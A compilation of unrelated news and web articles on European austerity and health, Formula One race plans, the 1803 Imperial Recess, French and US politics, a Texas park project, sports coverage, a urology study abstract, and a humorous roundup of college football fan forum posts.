Médecins Sans Frontières says European governments are willing to respond to health problems like malaria but there's a lack of resources. (Alvaro Barrientos/Associated Press)
Those countries that have slashed public spending the hardest — namely Greece, Spain and Portugal — have fared the worst medically.
"Austerity measures haven't solved the economic problems and they have also created big health problems," said Martin McKee, a professor of European Public Health at the London School of Hygiene and Tropical Medicine, who led the research.
He said worsening health was driven not just by unemployment, but by the lack of a social welfare system to fall back on.
"People need to have hope that the government will help them through this difficult time," he said.
The paper was published online Wednesday in a special series of the journal Lancet.
More among drug users in Greece
McKee said Greece in particular was struggling. Based on government data, he and colleagues found suicides rose by 40 per cent in 2011 compared to the previous year. Last year, the country also reported an exponential rise in the number of HIV cases among drug users, due in part to addicts sharing contaminated syringes after needle exchange programs were dropped.
In recent years, Greece has also battled outbreaks of malaria, West Nile virus and dengue fever.
"These are not diseases we would normally expect to see in Europe," said Willem de Jonge, general director of Médecins Sans Frontières in Greece.
In 2011, MSF helped Greece tackle a malaria outbreak that broke out after authorities scrapped spraying programs to kill mosquitoes.
"There's a strong willingness in the government to respond [to health problems] but the problem is a lack of resources," de Jonge said.
Outside Madrid's Hospital Clinico San Carlos, several patients grumbled about deteriorating medical care.
"The cutbacks are noticeable in many ways," said Mari Carmen Cervera, 54, an unemployed nurse. Cervera's mother was initially admitted to the hospital with a serious heart problem that required surgery. Cervera says her mother was discharged too early and had to be brought back when she had trouble breathing one night.
"While she was [hospitalized], she wasn't being properly washed by the nursing staff, so I had to do it myself," she said. "I personally think what has happened to my mother is a consequence of negligence and I am going to make an official complaint as soon as [she] is well enough to come home again."
Hans Kluge of the World Health Organization's European office, advised countries against radical health reforms during an economic crisis.
"In every health system, there is fat to cut," he said, recommending countries start with straightforward measures such as buying more generic drugs or eliminating unnecessary hospital beds.
Still, McKee and colleagues found not all countries mired in debt are unhealthy. Despite massive losses in its banking sector, Iceland rejected a bailout deal prescribed by the International Monetary Fund.
McKee and colleagues didn't find any bump in suicides and the population may even be healthier since it nearly went bankrupt — which could have been a result of global junk food chains pulling out of the country due to rising food costs.
Elsewhere, the researchers noted a drop in road accidents as more drivers opted for public transport. In turn, that has led to a shortage of organ donations and transplants, particularly in Spain and Ireland. |
Just over a month after it was announced that there will be a United States Grand Prix in Austin, Texas in 2012, Formula One boss Bernie Ecclestone has revealed that a second race may take place in the country and his circuit designer Hermann Tilke is currently there investigating it. "Tilke is in New Jersey now looking into it," he said over lunch last week.
In March, Ecclestone first revealed that a race in New Jersey was being investigated. "It would be in front of Manhattan in New Jersey, with the skyscrapers in the background," Ecclestone said adding: "Fifteen minutes from the centre of New York to the circuit would be marvellous." A 3.6-mile track was scheduled to be built in the grounds of New Jersey's 600-acre park but it was vetoed for environmental reasons by the public and the Jersey City mayor.
Tilke is now believed to be looking for a location in New Jersey which would not face this opposition but would still enjoy the same view of the New York skyline in the background. It could be a reserve option if the Grand Prix in Austin falls through.
A new purpose-built circuit will be constructed for F1 in Austin and although Ecclestone says that "the land is bought," he adds: "My concern is that I don't know how quick they can build ... that's what I am worried about. I don't worry about anything else."
Ecclestone says he requested that Austin host F1 in 2012 to get the race on the calendar as soon as possible. He explains that "the government is supporting it," and is believed to have committed $25 million to cover the annual race-hosting fee.
Funding may be needed even if the Grand Prix doesn't take place as Ecclestone recently said that if Austin fails to host the race "we've got some penalty clauses, although I wouldn't want to use them".
He remains confident that this will not happen and says that the government "won't lose their money". However, he does sound one note of caution: "It's hard to promote anything in America. It will either get a following or it won't."
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The Reichsdeputationshauptschluss (formally the Hauptschluss der außerordentlichen Reichsdeputation, or "Principal Conclusion of the Extraordinary Imperial Delegation"[1]), sometimes referred to in English as the Final Recess or the Imperial Recess of 1803, was a resolution passed by the Reichstag (Imperial Diet) of the Holy Roman Empire on 24 March 1803. It was ratified by the Emperor Francis II and became law on 27 April. It proved to be the last significant law enacted by the Empire before its dissolution in 1806.[2][3]
The resolution was approved by an Imperial Delegation (Reichsdeputation) on 25 February and submitted to the Reichstag for acceptance. It was based on a plan agreed in June 1802 between France and Russia, and broad principles outlined in the Treaty of Lunéville of 1801. The law secularized nearly 70 ecclesiastical states and abolished 45 imperial cities to compensate numerous German princes for territories to the west of the Rhine that had been annexed by France as a result of the French Revolutionary Wars.
Secularization and mediatization [ edit ]
The secularized ecclesiastical states (prince-bishoprics, prince-priories, prince-abbeys and imperial abbeys) were generally annexed to neighbouring secular principalities, with several of the abbeys being given as secular fiefs to those small princes who had lost their estates west of the Rhine. Only three ecclesiastical states survived as non-secular states: the Archbishopric of Regensburg, which was raised from a bishopric with the incorporation of part of the Archbishopric of Mainz, and the lands of the Teutonic Knights and Knights of Saint John. Also of note is the former Archbishopric of Salzburg, which was secularized as a duchy with an increased territorial scope, and was also made an electorate.
In addition, all but a handful of the 51 imperial cities were abolished and annexed to neighboring states.
The Reichsdeputationshauptschluss was ratified unanimously by the Reichstag in March 1803, and was approved by the emperor, Francis II, the following month. However the emperor made a formal reservation in respect of the reallocation of votes within the Reichstag, as the balance between Protestant and Catholic states had been shifted heavily in the former's favour.
Consequences [ edit ]
Following the Reichsdeputationshauptschluss, altogether 112 Imperial states, totaling 10,000 square kilometres, and a population of over three million people changed hands.[4] A number of the larger states made significant territorial gains (most notably Baden, Württemberg, Bavaria and Prussia), and Baden, Hesse-Kassel, and Württemberg gained status by being made electorates (to replace three that had been lost in the changes). Of the imperial cities, only Augsburg, Bremen, Frankfurt am Main, Hamburg, Lübeck, and Nuremberg survived as independent entities. The Transrhenanische Sustentationskommission was set up by the Imperial Diet to arrange the compensation of those princes whose territories had been ceded to France. It continued to operate down to at least 1820 (after the Empire's demise) and its archives are today kept in the German Federal Archives.[5]
The principle that allies of Napoleon could expect to make gains in both territory and status was also established, and was to be repeated on a number of occasions, above all in 1806 when, at the time of the establishment of the Confederation of the Rhine, over 80 small and mid-size secular states (such as principalities and imperial counties) were mediatized and annexed to some of the member states of the new Confederation.[6] These massive territorial and institutional upheavals were to bring about the dissolution of the Empire in the course of the same year. |
Nicolas Bay, general secretary of France’s Front National (FN) party, revealed Ms Le Pen had secured the signatures just days before the deadline. However, the endorsement signatures must still be validated by the constitutional council.
GETTY Marine Le Pen looks to become a presidential candidate after receiving 500 government sponsors
Mr Bay also said on Tuesday Ms Le Pen was the sixth candidate to have gathered 500 signatures from mayors or local officials dotted across France. In 2012, the year Socialist president François Hollande came into power, Ms Le Pen struggled to get the endorsements needed; and secured them within days of the target date.
Laurent Fabius, the head of the constitutional council, the highest constitutional court in the country, reiterated this week that the signatures had to come from “at least” 30 different departments or overseas territories, and that “no more than 10 per cent” of the sponsors could come from a single department or territory.
GETTY Nicolas Bay, general secretary of the FN party, announced the news just days before the deadline
What’s more, all 500 endorsement signatures must first be “approved and validated” by the constitutional council, he said. Ms Le Pen, who has long been considered the ‘underdog’ candidate, is gaining support and inching closer to victory.
GETTY Marine is expected to breeze through to the final round of voting in May
The anti-EU Elysée hopeful is set to breeze through to the second and final round of voting in May, an Ifop-Fiducial voting intentions poll for Paris Match, CNews and Sud Radio published on Wednesday shows. The FN chief is predicted to come first in the election’s first round in April with 26 per cent of the votes, while centrist candidate Emmanuel Macron would garner 24.5 per cent and centre-right candidate François Fillon 19.5 per cent, the poll revealed.
GETTY Emmanuel Macron is expected to come second in the first round of the elections in April |
A reimagined Bob Bryant Park is beginning to take shape as architects and community members this month put finishing touches on plans to build a "culture walk" at the site starting next year.
The preliminary master plan for the project, designed by Houston-based landscape architecture firm Burditt, shows a wildflower meadow, amphitheater, graffiti wall, interactive sculptures and a boardwalk lining the Colorado River.
The city hired the group in February to plan the culture walk — an outdoor trail at the north end of the park that will highlight the history and ecology of Bastrop County and Central Texas using art and design.
Last month, architects invited residents to a public forum to submit feedback into the design. About 30 people attended, many from the Riverside Grove neighborhood that adjoins Bob Bryant Park.
Children painted ceramic tiles that will be used to craft a mosaic which will be incorporated into the culture walk.
Gavin, 9, who lives in Riverside Grove, said he imagined celebrating holidays there — Fourth of July and President’s Day — and playing in the open fields.
Diana Wilson, the lead architect for the project, said some of the best ideas came from children who live in the neighborhood. They use the park every day and have big ideas about what they’d like to see for its future.
"I think these days when children get to a park, they want to celebrate," Wilson said. "They are excited to run and play outdoors."
The main tether for the project will be an existing concrete walkway that lines the north end of the park. It will be dotted with permanent art exhibits and pieces rotated on a regular basis. There are plans for a nature and learning center, an amphitheater to host poetry readings and other cultural events and areas where kids can run and play games. Pecan groves, shade trees, grasslands and wildflower fields will turn nature into art.
"It’s also a very important goal to feature the history, culture and ecological heritage of Bastrop," Wilson said. "It really is a theme of survival and what better way to show that than through nature."
The master plan addresses the entirety of Bob Bryant Park, not just the culture walk. It recommends cleaning the area, pruning trees, upgrading facilities, adding signage and possibly appointing a park police officer to monitor safety.
"We wanted it to feel like one cohesive project," Wilson said. "But the main focus would be the culture walk."
Bastrop Art in Public Places, a division of the city that uses hotel occupancy tax funds to foster art and culture in Bastrop, is spearheading the culture walk project. Its goal will be to attract residents and visitors to the city’s parks and trails, BAIPP Chair Deborah Johnson said.
The group has designated $28,000 this year to complete the design phase for the culture walk, which includes assessing the topography and layout of the park, gathering input from various stakeholders, developing 3D sketches and dividing the project into phases with measurable costs. The entire project will likely be completed in about five years, Johnson said.
Wilson said the master plan for the culture walk is expected to head before the City Council for approval this month. |
LAS VEGAS -- Kelly Oubre Jr. was in demand Sunday, after his second summer league appearance for the Washington Wizards, and if it were up to him, the 19-year-old would happily oblige every microphone and camera thrust in front of him.
Oubre made headlines early in his pro career because of that confidence. It started on draft night, when Oubre, who had already turned heads with a shimmering maroon blazer and diamond-studded Christian Louboutin shoes, declared after being selected at No. 15 that whatever team got him was “getting a jewel.”
Later, once the Wizards finalized the trade that delivered Oubre’s draft rights in exchange for the No. 19 pick and two second-round picks, he was asked about his expectations for the night.
“My expectation was to go top 10,” Oubre said. "It doesn't work out like that for everybody, but I still feel like I'm one of the best players in this draft.”
In Vegas, he has started the process of trying to back up those words. Oubre scored 18 points on 5-of-17 shooting while grabbing eight rebounds over 32 minutes in Washington’s 94-74 loss to the D-League Select squad Sunday at Cox Pavilion on the UNLV campus.
Despite some efficiency struggles coming off a glitzier, 20-point, 10-rebound performance Friday in his pro debut against the Suns, Oubre’s confidence never wavered while he was prodded about his shooting woes.
He refused to make excuses, even when given the option to blame his 0-for-5 3-point performance on a deeper line at the NBA level.
“No, no, no,” Oubre said. He quickly pointed to his fundamentals and how he needs to remember not to rush. By the end of the answer, the confidence had muscled its way back in.
"I know I can shoot,” Oubre said. "I have 100 percent confidence in my shot.”
Most 19-year-olds are not this self-assured. That’s why a reporter wanted to know where Oubre's confidence comes from.
“Just knowing what I can do,” he said. "And hard work -- I work my butt off.”
Oubre is no stranger to adversity. Born in New Orleans, he was forced to relocate to Texas at age 9 in the aftermath of Hurricane Katrina.
“My dad just decided he was going to keep me in Houston because they had better resources,” Oubre said on draft night. "By him doing that, that was another sacrifice. He left his job, and we went through a little struggle through a point of time where we were living in hotels and cars. If it weren't for that time -- long story short -- I wouldn't be here today because that put a chip on my shoulder, and it allowed me to realize that everything that I've ever loved and had could be gone in a split second.
"My family was moved around. I didn't see my mom for about two months. My little brother was a baby. He was just born a couple years before [the hurricane]. That time was pretty hectic in my life, and my parents had divorced, so by them being split up, we went separate paths. I thought I lost [my family]. I didn't hear from them for a week or so. I always think about that on the court. That's what gives me my drive to want to be the best that I can be.
"I've always felt like I've been slept on, and I'm ready to wake people up. I'm motivated, and I'm a worker, and I want to be the best that I can be at this next level."
Oubre drew attention Friday with his big numbers and gold Nikes. On Sunday, he was a bit more discreet, including with his basic, white sneakers.
He is undeniably athletic and makes things look easy on the floor. Despite an obvious need to bulk up, he is able to attack the basket and will finish in traffic more as he gets stronger.
"I have the light frame,” Oubre said. "Everybody knows that. Everybody can see that. But I’m not weak. I can bang. A lot of guys are trying me, but they’re going to be pretty surprised on how strong I am.”
There’s a belief that he can be an impact defender, given his 7-foot-2 wingspan, but Oubre is going to have to work to carve out a role on a Wizards team that won 46 games and was the fifth seed in the Eastern Conference the previous season.
The departure of Paul Pierce could open doors to more playing time. Oubre thinks he can earn that opportunity and pair well with Washington’s young backcourt.
"I definitely feel like I can learn from [John Wall and Bradley Beal], play with them, and we can be successful together,” Oubre said. "By me doing so, coming in, I feel like I bring a lot to the team, I bring a lot to the table, and I'm just ready to get to work and help this team win.”
As usual, he has never sounded more confident. |
RESULTS: Japanese Grand Prix - Free practice results (2)
Max Verstappen has teased Red Bull could have the package to challenge Mercedes in the Japanese Grand Prix after a positive opening day in free practice at Suzuka.
Just two years after Verstappen made his F1 debut in an FP1 outing with Toro Rosso at Suzuka prior to the his full season deal in 2015, the 19 year-old returns to Japan as a potentially challenger for victory following a strong start in FP1 and FP2.
Though forced to set his fastest FP2 lap on used soft tyres after his 'new' run was scuppered by a Virtual Safety Car period, Verstappen - second in Malaysia last weekend - says he is nonetheless very happy with his form on the long runs which were on a par with the Mercedes'
OPINION: Does Lewis Hamilton deserve his Snapchat backlash?
"I think it's one of the best Fridays so far," the Dutchman, who was fourth fastest, said. "Everything seemed to work really well, the car handling is good, long run pace was good. I think we are quite happy but of course we still have work to do."
"At the moment the possibility very strong [to challenge for the win] so we will try to be close and hopefully with some rain tomorrow that could help us."
Indeed, Verstappen is hoping rain forecast in the area makes its presence felt to level a playing field and potentially increase Red Bull's chances of victory.
"In the wet we have even more of a chance to do a good job, so yeah, rain, I would like that. Hopefully we can be close to the Mercedes cars."
Wins, Max, Bernie... and Tesco: 10 Revealing minutes with Daniel Ricciardo
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Abstract
Purpose:
We compared culture independent assessment of microbiota of the lower urinary tract in standard culture negative female patients with urological chronic pelvic pain syndrome who reported symptom flare vs those who did not report a flare.
Materials and Methods:
Initial stream (VB1) and midstream (VB2) urine specimens (233 patients with urological chronic pelvic pain syndrome) were analyzed with Ibis T-5000 Universal Biosensor system technology for comprehensive identification of microorganism species. Differences between flare and nonflare groups for presence or number of different species within a higher level group (richness) were examined by permutational multivariate analysis of variance and logistic regression.
Results:
Overall 81 species (35 genera) were detected in VB1 and 73 (33) in VB2. Mean (SD) VB1 and VB2 species count per person was 2.6 (1.5) and 2.4 (1.5) for 86 flare cases and 2.8 (1.3) and 2.5 (1.5) for 127 nonflare cases, respectively. Overall the species composition did not significantly differ between flare and nonflare cases at any level (p=0.14 species, p=0.95 genus in VB1 and VB2, respectively) in multivariate analysis for richness. Univariate analysis, unadjusted as well as adjusted, confirmed a significantly greater prevalence of fungi (Candida and Saccharomyces) in the flare group (15.7%) compared to the nonflare group in VB2 (3.9%) (p=0.01). When adjusted for antibiotic use and menstrual phase, women who reported a flare remained more likely to have fungi present in VB2 specimens (OR 8.3, CI 1.7–39.4).
Conclusions:
Among women with urological chronic pelvic pain syndrome the prevalence of fungi (Candida and Saccharomyces sp.) was significantly greater in those who reported a flare compared to those who did not. |
In a clash of cultures that threatened to spiral into bloodshed, the Princeton University band received a harsh welcome from offended cadets at the Charleston, S.C., military college when the two schools' football teams squared off for the first time over the weekend.
The band's president, Princeton senior Alex Barnard, said some 80 over-aggressive cadets roughed up two people, broke a clarinet, stole members' hats and cursed the band when it inadvertently marched along the "Avenue of Remembrance," a campus street that honors The Citadel's war dead.
Later, as the band performed its unusual routine during the halftime show, the crowd of 13,000 booed relentlessly, chanting "Go home, Princeton" and shouting profanities and anti-homosexual slurs. Several videos of the display have made it onto YouTube.
After the show, a group of cadets again gathered around the band members, reducing some to tears before police intervened, Barnard said.
"Thirty cadets had surrounded us in the stands and were screaming in our faces," said Barnard, a 21-year-old sociology major from Flagstaff, Ariz., today.
The incident prompted a pseudo-apology from The Citadel's president, retired Air Force Lt. Gen. John W. Rosa. In a statement, Rosa said the school, one of the nation's top military colleges, "must hold cadets to a higher standard."
"We will use this episode as a learning experience to reinforce with cadets that they are representatives of The Citadel, and that their behavior redounds to the reputation of the college," Rosa said.
There was less contrition from the local media. One columnist for the Post and Courier of Charleston wrote that the cadets "should be given a medal for standing up for their school" and that the Princeton band should be "ashamed."
"All those pseudo-intellectuals and not a single brain among them," the columnist concluded.
Princeton's administration is standing by the band, saying it worked with The Citadel long before the game to ensure nothing would be offensive.
"They met every request that The Citadel required," Princeton spokeswoman Cass Cliatt said.
Princeton's band is a "scramble band," so named because members frequently break ranks from a traditional march and rush around the field. Members wear bright orange jackets and sometimes play instruments fashioned out of unusual objects, from toilet seats to car mufflers.
During halftime shows, announcers read scripts that satirize and poke fun. There are fewer than a dozen such bands in the country, and most of those are in the Ivy League, according to the Princeton band's website.
"We're all about fun," Barnard said. "We're pretty non-threatening. We intend to look silly."
Barnard said he expected "southern hospitality" at The Citadel but was conscious of the school's reputation for seriousness. As a result, he said, he made sure the halftime script was approved by Citadel administrators.
But he was unprepared for the problems before the Saturday afternoon game.
Barnard said the 43 band members who made the 12-hour bus trip to Charleston didn't know they were treading on revered ground when they walked up the Avenue of Remembrance.
Witnesses to the fracas told The Post and Courier that band members appeared to be making fun of cadets with buffoonish salutes as they exercised on a drill field. Infuriated cadets surrounded the band, shouting and getting physical, Barnard said.
One Princeton student was shoved from behind. Another was pushed into a tree, Barnard said. Several female band members were spit on, he said.
The issue appeared to be resolved when senior officers ordered the cadets to stand down, but problems flared again during the halftime show, in which a band announcer cracked jokes about vice presidential candidates Sarah Palin and Joe Biden and made seemingly mild references to the differences between the two schools.
"At The Citadel, a tour involves one hour of forced marching; at Princeton, it involves enjoying beverages at every eating club," one joke went.
Barnard said a couple of band members took the on-field hijinks too far -- two students were seen grinding against each other -- but that the band as a whole behaved well and performed the "tamest" halftime show of his four years at Princeton.
The Citadel's football team won the game, 37-24. The two teams meet again at Princeton next fall.
"We plan on showing them a good time," Barnard said. |
The Miami Hurricanes football team had its roster updated Thursday, with 11 new scholarship players, two walk-ons -- and two deletions.
The deletions: scholarship cornerback Larry Hope, who would have been a redshirt freshman in 2014; and walk-on quarterback Garrison Lassiter, the former minor-league baseball player with the New York Yankees organization who gave up baseball to come to college and give football a try.
A UM spokesman said he had no additional information on Hope and Lassiter. Hope played in two games last season and had three tackles. Lassiter never played.
Here are the new 11 (and their jersey numbers), taking summer classes and getting ready for fall ball:
No. 7: S Marques Gayot of Lake Worth Park Vista Community High.
No. 9: DE Chad Thomas of Miami Booker T. Washington.
No. 12: QB Malik Rosier of Mobile, Ala., Faith Academy.
No. 15: QB Brad Kaaya of West Hills, Calif., Chaminade-Madonna.
No. 22: DB Kiy Hester of Wayne, N.J., DePaul Catholic.
No. 57: DE Mike Smith of Miami Northwestern.
No. 68: OL Nick Linder of Fort Lauderdale St. Thomas Aquinas.
No. 82: WR Tyre Brady of Homestead South Dade.
No. 92: DL Courtel Jenkins of Wayne, N.J., DePaul Catholic.
No. 95: DL Anthony Moten of Fort Lauderdale St. Thomas Aquinas.
No. 44: DE Demetrius Jackson of Miami Booker T. Washington.
Here are the walk-ons:
No. 16: P Justin Vogel by way of UF and before that, Tampa Berkeley Prep.
No. 24: K Michael Badgley of Summit, N.J. High.
No. 43: FB Tyler Odems of Manassas, Va., by way of Dean JC (I'm told he didn't play) & Osbourn Park High.
Practice expected to begin Aug. 5th.
SUSAN MILLER DEGNAN |
The Senate’s narrow margin on the tax overhaul provides it with some leverage in conference negotiations with the House. (Bill Clark/CQ Roll Call)
The Senate’s passage of a tax overhaul illustrated a fragile coalition of support that ironically provides the chamber with the upper hand headed into conference committee negotiations with the House.
House Republicans wanted a conference process on the two chambers’ differing tax bills to prevent the House from getting jammed by the Senate, as they acknowledge has happened frequently on major bills.
But some members realize that a conference committee may still result in a final product that tracks more with Senate priorities given the thin margin of support in that chamber.
Senate passage came after days of negotiations in which several Senate Republican holdouts were offered significant concessions to secure their votes, with some changes designed just to appease a single senator.
“You have senators over there negotiating 400 billion things. That’s why people want to be in the Senate, not in the House,” Pennsylvania GOP Rep. Ryan A. Costello said, acknowledging that the Senate “absolutely” has the upper hand heading into conference.
Senate Majority Leader Mitch McConnell said Friday he expects negotiations to go smoothly.
“We’ve moved our initial thinking on this in the direction of the House bill, for example the property tax deduction, in order to get the bills closer together than they were,” the Kentucky Republican said. “I’m not saying the conference will be a piece of cake, but I don’t think there’s much chance we won’t be able to reconcile our differences and move forward.”
While Costello is not as adamant about the procedural argument for going to conference as other members, he said he supports it “on the basis that we need all members to feel that their opinion matters.”
“And if you’re just going to eat a Senate bill, then the only reason that we passed our first tax bill was to force the Senate to act,” the member of the moderate Tuesday Group added.
Another Pennsylvania Republican from the opposite end of the political spectrum, Freedom Caucus member Scott Perry, also acknowledged the power the Senate holds.
“Could we get jammed? Yes,” he said. “Does this member have confidence that we’re going to get concessions, meaningful concessions, from the Senate? Likely not.”
All for show?
Perry also suggested that a conference committee likely won’t be holding a ton of formal meetings to hash out their agreement.
“When you say ‘conference,’ people have in their mind something where everybody sits around the table and talks about different things, works out [differences],” he said. “That could be what it looks like, but I suspect it won’t look like that.”
House Ways and Means ranking member Richard E. Neal also suggested the conference committee will likely only meet for show. The Massachusetts Democrat said he has “relatively low expectations” and it’s likely the Republicans will have most everything done before the committee even has its first meeting. Nonetheless, he said Democrats should still name conferees.
The House is scheduled to vote Monday on a motion to go to conference on the tax bill. Republican leaders added the legislative day to the schedule to get the conference process moving.
More votes to spare
House Republicans have more votes to spare than Senate Republicans in terms of passing a final measure or conference report.
Assuming all Democrats remain opposed to the measure, the Senate can lose just two GOP votes — with Vice President Mike Pence casting a tie-breaking vote — but the House can lose 22.
Only 13 Republicans voted against the tax bill the House passed Nov. 16. Of those “no” votes, 12 came from members from the high-tax states of New York, New Jersey and California over concerns about the partial elimination of the state and local tax deduction, also known as SALT.
GOP leaders are working on a proposal to partially restore the deduction for state and local income taxes, which is fully repealed in both chambers’ bills, to address the concerns of California Republicans. But the Senate would have to agree to that in conference.
That’s just one of many issues the two chambers will have to tackle. Other House priorities include eliminating expiration dates for tax cuts for individuals, fully repealing the estate tax and maintaining the corporate rate at no higher than 20 percent.
“When that conference report comes back, both chambers equally have to be able to support it in a good strong way,” House Ways and Means Chairman Kevin Brady told Roll Call when asked if the Senate has the advantage because they have fewer votes to spare.
The Texas Republican said he’s “not satisfied yet with the House or the Senate version” of the tax overhaul and he’s expecting improvements to be made in conference.
“My goal is, pick the best of both, and in some ways do better than both,” he said. “I think we’ve learned from the process what’s important, what’s really hitting the targets we want from a pro-growth and a simplification standpoint and what not yet has done that.”
Bad blood
House Republicans have no shortage of complaints about the Senate. And while they personally like many of their colleagues across the Rotunda there’s clearly some bad blood resulting from institutional power dynamics.
“We do our work, we take the hard votes,” Freedom Caucus member Dave Brat said, expressing his frustration that the Senate has the upper hand in the tax negotiations, as they have had in other legislative matters.
The Virginia Republican’s frustration is shared widely across the GOP conference and has also been expressed recently in regard to the Senate not passing any appropriations bills after the House passed a 12-bill omnibus in September.
House Republicans’ grievances with the Senate reached a boiling point this year amid the Senate’s failure to pass a health care overhaul.
“When you’ve got three or four senators that have the history of what they did with the health care bill, that’s a problem,” Texas GOP Rep. Randy Weber said.
On whether the Senate will exercise a heavy hand in the tax negotiations, the Freedom Caucus member said, “I don’t know what they’re predisposed toward.”
Many other lawmakers also said they couldn’t predict what will come out of conference when asked about the prospect that the Senate could effectively jam the House because of its fragile vote coalition.
“This is new for a lot of the members, as far as we’ve actually got something come back from conference,” Republican Study Committee Chairman Mark Walker of North Carolina said. “We know what’s important to us in the House. How much of that [we get] would be pure speculation on my part.”
Rep. John Katko, co-chairman of the Tuesday Group, said he is hopeful the House will be able to secure its priorities in conference, noting, “There’s a lot in the Senate bill that concerns me, especially for my constituents.”
The New York Republican said the more the final bill resembles the House measure over the Senate version the better.
As to whether the House position can prevail given the fluidity among Senate Republicans, Katko said, “That’s a very good question. I’m hopeful. If we want to get it done, it’s going to have to happen.”
Tax writers optimistic
While some rank-and-file Republicans are skeptical about the conference process, GOP tax writers were more confident.
“For the first time since I’ve been here, the House is better organized and in a stronger position to advance its objectives,” said Ways and Means member Carlos Curbelo, currently in his second term.
Asked why he believes that, the Florida Republican said, “No. 1, I think our product is better for the most part, even though there are some elements of the Senate bill that I prefer. We’ve also built our coalition in a very competent manner with no drama. Senators know, for example, that we have firm commitments to our [state and local tax] colleagues, colleagues from higher-tax states. So I really feel momentum on the House side.”
Rep. Jackie Walorski, another tax writer, said she is “completely optimistic” the House GOP will be able to secure its priorities, saying the motivation and focus has not wavered.
“There’s nothing good-looking about the process,” the Indiana Republican said. “But the process works.”
Niels Lesniewski contributed to this report. |
Georgia's coaches are all dead. This is the good news for them after Auburn catches a Hail Mary that two Georgia players lovingly put on a platter for the Tigers.
If they were not dead — and they are dead — they would have to put up with Georgia fans, at least those who are not dead. Which most of them are. The embattled post-apocalyptic survivors are slightly pissed off. And mutants. But mostly pissed off.
Game thread:
DE MOTHERfrickING FENSE!!!!! WE GOT THIS SHIT!!!!!
Relying on the defense. Not feeling good.
How much time?
1:45
Wow.. good play there. Used some clock on that one, too.
Let's get a stop!
This is it men!!!!!! Comeback of the YEAR!!!
BLITZ.....DO NOT RUSH 4. Please Grantham
Oh no 4th and long against Auburn.
Anybody else more nervous about 4-18 than a 4-5?
I think we bring it on this..the farm...all in....
The event happens, and this is the most perfect response in the history of game threads.
(no message)
and then
WHAT THE F$&K!!!!?????????????????
I knew it, I knew it. 2005 all over again.
Why did they not knock it down. It makes no sense.
Thats why u just knock it down. Easy win and dude is going for a pick. WOW
it sums up our lives as UGA fans...we are the Cubs fans of college football.
Wow! just wow! The Football Gods hate us...
I can't believe how lucky Auburn can be! what a fricking joke!!! WE WON THAT GAME AND THAT DUMB THIEF STOLE ANOTHER GAME FROM UGA!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
That's in reference to Auburn quarterback Nick Marshall, who was at UGA until an incident got him kicked out of school.
In the aftermath, this man decided he would commit internet suicide.
frick wins and losses (Posted on 11/16/13 at 8:21 pm) This is the best damn season of football I have ever watched. I've damn near been on the edge of my seat all season. So glad I'm not a bama fan watching all those boring arse games. Go Damgs!
Go damgs!
Responses:
Damn Good Dawg: fricking moron dawgfan24348: No DaveyDownerDawg: You are a fricking idiot if you think this is an exciting football season. Gotdamn Disney muthafrickas!
Choose a side.
Disney or Doom which are you? (Posted on 11/17/13 at 1:14 am) With a lot of new poster/alter on the board Me thinks we need to know where everyone stands
option 1 option 2 option 3
Myself I fall in the Option 2. I always have hope for the dawgs but also feel there needs to be some sort of change in the way the coaches are doing business........ everything isnt the Magic Kingdom but its not TWD Atlanta either...
Aaand finally, DC Todd Grantham is less than popular at the moment.
I cannot stand ginger thor that soulless jack ass
Georgia, you have acquired the Tears of Unfathomable Sadness. Next time, bat them down, not up.
ACC
This was actually last week.
Miami lost to Duke, and that makes a lot of fans think "my team is worse than Duke." Like, oh, I don't know, me. But this bit is about Miami. Delving into Canespace, where a Styx reference…
The 1980's rock group Styx had it right. It is possible that Miami head coach Al Golden has pulled the "Grand Illusion" over Miami Hurricane fans.
…is immediately followed by a profuse apology.
Open Letter To Hurricane Fans And Coach Golden Last night, after Miami's tough loss to Duke, I was very harsh and critical about the game and UM head coach Al Golden. While I, like most Hurricane fans, am still very disappointed with the loss to the Blue Devils, I wanted to apologize to Hurricane fans and Coach Golden for my rant and venting on the blog.
This has about 20 fewer instances of the word "azz" than expected. But before that, the guy whose run Canespace since 2006 — it is prehistoric in internet terms — was going to quit:
No, Sorry folks, but I am not kidding or bluffing, I am done. There will be no more Canespace after this season is over. I can't take it anymore. If someone wants to buy me out and take it over email me at: canespace86@aol.com NO SERIOUSLY.
He got better.
Elsewhere in that thread:
an abomination of an abortion of a sham of a travesty of a football game
Look at the bright side I bet we would kill duke at bench press absolutely dominate
IT'S SO BAD THAT IM NOT EVEN MAD??? I WON'T LET THIS CRAP DESTROY MY WEEKEND. LOVE MY FAMILY MORE THEN THE CANES AND THAT IS MOST IMPORTANT TO ME. … I WILL HAVE MY SIGN THIS SATURDAY. D"NO= NO"D LOOK OUT FOR IT, WE'LL IT WON'T BE REALLY HARD ME BEING ONE OF THE 9,000 THERE
That's from "Canezilla."
Judging from ABC's ratings, I'm surprised they don't put us in prime time and try to fool people into watching by calling it "Finishing Bad".
I see what you did there.
Big Ten
I was live and in person as Northwestern lost in a way only Northwestern could lose, as Michigan pulled off the fire-drill, last-second field goal for the first time in history (probably). I'd promised to find a Northwestern fan and give him the Good Will Hunting fix and did not, so let me just say to any Wildcat fans who stumble across this while trying to find a support group: it's not your fault.
This also demands a gamethread delve. Starting from the top:
Why am I here
Let's get this over with What a sad game all around
*vomit* 2 runs for nothing and then a 6 yard pass on 3rd and 8 it’s like john shoop is still haunting the chicagoland area
"Even on a Saturday the library's busy" Come on, there was just one guy on a laptop in that b-roll! Stereotypes!
is there a name for this? where one team moves the ball down the field, without punting or turning it over?
i think it's called a fluke
NU punts for six yards, up 9-3.
WOW.
This is the part where I shoot myself
THIS IS A FUN GAME TO WATCH
Michigan goes three and out from the 10, FG, 9-6. Northwestern punts, M gets down to the four, goes on fourth and two, stuffed.
well that is not what i expected to happen
Michigan's got the ball, attempting to score in the two-minute drill.
It's time to clench your heinies everyone.
NO F--- YOU WHY WOULD YOU DO THAT
I have no idea why this person said this thing, because, well, everything about this game demands that statement.
we will somehow find a way to lose this right?
Gardner's fourth or fifth ball into a Northwestern defender's chest that is not brought in…
God damn it catch that shit aguahgh
how can you drop that!
I seriously just want to cry. This is the worst season of football I've ever seen
Michigan does the thing with the field goal.
First, Bring Your Champions, They're Our Meat:
Incredible. I am flabbergasted. My gast is flabbered. — BYCTOM (@BYCTOM) November 16, 2013
WHAT
ARE YOU F---ING KIDDING ME
lolololololololololololo
F--- EVERYTHING
and I'm officially crying … I am a person who is just about incapable of crying I’ve been clutching a pillow sobbing for a minute straight.
Just give both teams an L and be done with it
can't wait to buy a game worn jersey
